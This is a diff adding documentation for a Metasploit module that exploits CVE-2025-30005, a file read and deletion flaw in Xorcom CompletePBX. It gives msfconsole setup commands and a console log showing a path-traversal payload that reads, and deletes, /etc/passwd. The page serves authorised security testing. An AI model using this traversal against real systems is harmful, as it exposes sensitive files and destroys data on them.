|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This Metasploit module exploits an **Authenticated Arbitrary File Read and Deletion** vulnerability in **Xorcom CompletePBX <= 5.2.35**. |
| 4 | +The issue arises due to improper validation of the `systemDataFileName` parameter in the `diagnostics` module, |
| 5 | +allowing an attacker to retrieve arbitrary files from the system. |
| 6 | + |
| 7 | +Additionally, this vulnerability **automatically deletes the requested file** after being accessed, |
| 8 | +leading to potential data loss on the target. |
| 9 | + |
| 10 | +The vulnerability is identified as **CVE-2025-30005**. |
| 11 | + |
| 12 | +### Setup |
| 13 | + |
| 14 | +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) |
| 15 | + |
| 16 | +## Verification Steps |
| 17 | + |
| 18 | +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. |
| 19 | +2. Launch **Metasploit Framework**. |
| 20 | +3. Use the module: |
| 21 | +``` |
| 22 | +use auxiliary/admin/http/xorcom_completepbx_diagnostics_file_read |
| 23 | +``` |
| 24 | +4. Set the **target host**: |
| 25 | +``` |
| 26 | +set RHOSTS [TARGET_IP] |
| 27 | +``` |
| 28 | +5. Set authentication credentials: |
| 29 | +``` |
| 30 | +set USERNAME [VALID_ADMIN_USERNAME] |
| 31 | +set PASSWORD [VALID_ADMIN_PASSWORD] |
| 32 | +``` |
| 33 | +6. Specify the file to read (before deletion): |
| 34 | +``` |
| 35 | +set TARGETFILE /etc/passwd |
| 36 | +``` |
| 37 | +7. Execute the module: |
| 38 | +``` |
| 39 | +run |
| 40 | +``` |
| 41 | +8. If successful, the contents of the specified file will be displayed before its deletion. |
| 42 | + |
| 43 | +## Options |
| 44 | + |
| 45 | +### USERNAME |
| 46 | + |
| 47 | +Admin username for authentication. |
| 48 | + |
| 49 | +### PASSWORD |
| 50 | + |
| 51 | +Admin password for authentication. |
| 52 | + |
| 53 | +### TARGETFILE |
| 54 | + |
| 55 | +Path of the file to retrieve (**before automatic deletion**). |
| 56 | + |
| 57 | +### DefangedMode |
| 58 | + |
| 59 | +Safety switch (true by default). Set to **false** to actually perform the read-and-delete operation. |
| 60 | + |
| 61 | +## Scenarios |
| 62 | + |
| 63 | +### Successful Exploitation Against a Vulnerable CompletePBX Instance |
| 64 | + |
| 65 | +**Setup**: |
| 66 | + |
| 67 | +- **Target**: Xorcom CompletePBX <= 5.2.35 |
| 68 | +- **Attacker**: Metasploit Framework instance |
| 69 | + |
| 70 | +**Steps**: |
| 71 | + |
| 72 | +```bash |
| 73 | +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/ |
| 74 | +[*] Running module against 192.168.1.32 |
| 75 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 76 | +[+] The target appears to be vulnerable. |
| 77 | +[-] Auxiliary aborted due to failure: bad-config: |
| 78 | +Are you *SURE* you want to execute the module against the target? |
| 79 | +Running this module will attempt to read and delete the file |
| 80 | +specified by TARGETFILE on the remote system. |
| 81 | + |
| 82 | +If you have explicit authorisation, re-run with: |
| 83 | + set DefangedMode false |
| 84 | + |
| 85 | +[*] Auxiliary module execution completed |
| 86 | +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > set DefangedMode false |
| 87 | +DefangedMode => false |
| 88 | +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/ |
| 89 | +[*] Running module against 192.168.1.32 |
| 90 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 91 | +[+] The target appears to be vulnerable. |
| 92 | +[!] This exploit WILL delete the target file if permissions allow. |
| 93 | +[*] Attempting to read file: ../../../../../../../../../../..//etc/passwd |
| 94 | +[*] ZIP file received, attempting to list files |
| 95 | +[*] Files inside ZIP archive: |
| 96 | + - ../../../../../../../../../../..//etc/passwd |
| 97 | + - full_20250716_191240 |
| 98 | + - audit_20250716_191240.log |
| 99 | +[+] Content of /etc/passwd: |
| 100 | +root:x:0:0:root:/root:/bin/bash |
| 101 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 102 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 103 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 104 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 105 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 106 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 107 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 108 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 109 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 110 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 111 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 112 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 113 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 114 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 115 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 116 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 117 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 118 | +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin |
| 119 | +systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin |
| 120 | +messagebus:x:100:107::/nonexistent:/usr/sbin/nologin |
| 121 | +avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin |
| 122 | +sshd:x:102:65534::/run/sshd:/usr/sbin/nologin |
| 123 | +pbx:x:1000:1000:,,,:/home/pbx:/bin/bash |
| 124 | +mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false |
| 125 | +postfix:x:104:113::/var/spool/postfix:/usr/sbin/nologin |
| 126 | +tcpdump:x:105:115::/nonexistent:/usr/sbin/nologin |
| 127 | +Debian-snmp:x:106:116::/var/lib/snmp:/bin/false |
| 128 | +_chrony:x:107:117:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin |
| 129 | +dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin |
| 130 | +polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin |
| 131 | +asterisk:x:109:118:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin |
| 132 | +cc-cloud-rec:x:999:995::/var/lib/cc-cloud-rec:/sbin/nologin |
| 133 | + |
| 134 | +[*] Auxiliary module execution completed |
| 135 | +``` |
| 136 | +
|
| 137 | +### Impact |
| 138 | +
|
| 139 | +- This vulnerability grants **file read access**, but also **automatically deletes** the retrieved file. |
| 140 | +- Attackers can extract sensitive data (e.g., user credentials) while simultaneously causing **data loss** on the system. |
| 141 | +
|
| 142 | +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. |
0 commit comments